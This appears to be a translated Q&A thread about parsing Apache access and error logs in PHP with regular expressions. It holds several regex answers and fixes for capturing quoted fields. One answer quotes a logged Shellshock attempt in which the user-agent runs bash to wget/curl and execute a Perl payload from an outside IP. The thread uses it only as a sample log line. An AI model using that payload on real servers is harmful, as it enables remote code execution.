2011-09-29 14 views
25

Verileri bir tabloya (raporlama, istatistik vs ...) kaydetmem gerekiyor, böylece kullanıcı zamana, kullanıcı aracısına vb. Göre arama yapabilir. Her gün çalışan bir komut dosyası var. Apache Günlüğü'nü ve ardından veritabanına ekleyin.Parse Apache PHP kullanarak preg_match kullanarak

Giriş formatı:

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 

Benim regex:

preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches); 

Şimdi yazdırın:

print_r($matches); 

Array 
(
    [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 
    [1] => 10.1.1.150 
    [2] => - 
    [3] => - 
    [4] => 29/September/2011 
    [5] => 14:21:49 
    [6] => -0400 
    [7] => GET 
    [8] => /info/ 
    [9] => HTTP/1.1 
    [10] => 200 
    [11] => 9955 
    [12] => "http://www.domain.com/download/" 
    [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 
) 

alıyorum: "http://www.domain.com/download/" ve kullanıcı aracısı için aynı. Bu " ifadesinden nasıl düzenli olarak kurtulabilirim? Bonus (tarih/saati kolayca eklemenin hızlı bir yolu var mı?)

Teşekkür

+0

Bu bir soru kopyasıdır # 2221636 –

+0

Bunun için basit bir yardımcı ders yazdım. Bkz. Https://github.com/Spudley/ApacheLogIterator – SDC

+0

@SDC: Teşekkürler Simon, bu yineleyici harika! – Pete855217

cevap

35

bu normal ifadeler kullanabilirsiniz PHP'de bir Apache access_log günlüğü ayrıştırmak için:

$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i'; 
preg_match($regex, $log, $matches); 
$matches[1] = Date and time,   $matches[2] = severity, 
$matches[3] = client addr (if present) $matches[4] = log message 

:

$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/'; 
preg_match($regex ,$log, $matches); 

Apache error_log formatını eşleştirmek için bu normal ifadeler kullanabilirsiniz İstemci olan veya olmayan satırlarla eşleşir:

[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations 
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js 
+0

çalışıyor, teşekkürler – Tech4Wilco

3

Çift tırnak işaretlerini yakalamak istemiyorsanız, bunları yakalama gruplarından çıkarın.

(\".*?\") 

gibi olmalı: Eğer trim($str, '"')

1

senin Normal ifadeyle sadece sonrası süreç girdileri olabilir alternatif olarak

\"(.*?)\" 

yanlış. Ona, burada regexp'ler bir çift Ocak 2015 kullanılarak denedim

/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/ 
+1

Nerede ve niçin yanlış gittiniz? (Bu, aynı hatanın gelecekte tekrarlanmamasına yardımcı olacaktır) :) –

+0

I ikincisi. Regex'in neden yanlış olduğu konusunda herhangi bir açıklama yapılmamıştır. – ftrotter

+0

Ayrıca, standart bir Apache log çizgisiyle eşleşmiyor. Bunu görmezden gel. – Pete855217

0

doğru Regexp'i kullanın ve kötü bir bot benim apache2 günlüğüne bir maç almıyor bulmak shoudl.

kötü bot apache2 hattı BASH kesmek girişimi olduğunu ve henüz regexp'in düzeltme anlamaya denemedim: gördüğüm ve burada, bu kadar çok errneous günlük ayrıştırılmasını yaptık gibi

199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\"" 
0

bilerek herhangi bir fark olmaksızın günlükleri 50k hatları üzerinde test bir Neyse geçerli normal ifade, şöyledir:

  • auth_user
  • response_size olabilir boşluk olabilir -
  • http_start_line en az bir boşluk (HTTP/0.9) ya da iki
  • http_start_line çift
  • yönlendiren boş olabilir tırnak, boşluklar olan, ya da çift tırnak (sadece bir HTTP başlık s)
  • user_agent çok boş olabilir ya da çift tırnak içerebilir ve içerebilir alanlarda
  • Yönlendiren ile kullanıcı aracısı arasında ayrım yapmak zor, ikisi de " " arasındaki ikisinin de yeterince ayrımcı olmasına izin verin, ancak rezil kullanıcı ve kullanıcı aracısında rezil " "'u bulabiliriz, bu yüzden burada vidalandık.
yardıms

$ncsa_re = '/^(?P<IP>\S+) \ (?P<ident>\S) \ (?P<auth_user>.*?) # Spaces are allowed here, can be empty. \ (?P<date>\[[^]]+\]) \ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9 \ (?P<status_code>[0-9]+) # Status code is _always_ an integer \ (?P<response_size>(?:[0-9]+|-)) # Response size can be - \ "(?P<referrer>.*)" # Referrer can contains everything: its just a header \ "(?P<user_agent>.*)"$/x';

Hope.

+0

Regex'inizdeki? P nedir? Bunu tanımlayan regex kullanan hiçbir şey bulamadım, sadece bir hata olarak işaretlenir. – mutatron

+0

@mutatron adlı bir yakalama. "Adlandırılmış grup" veya "adlandırılmış yakalama grubu" için arama yapın. –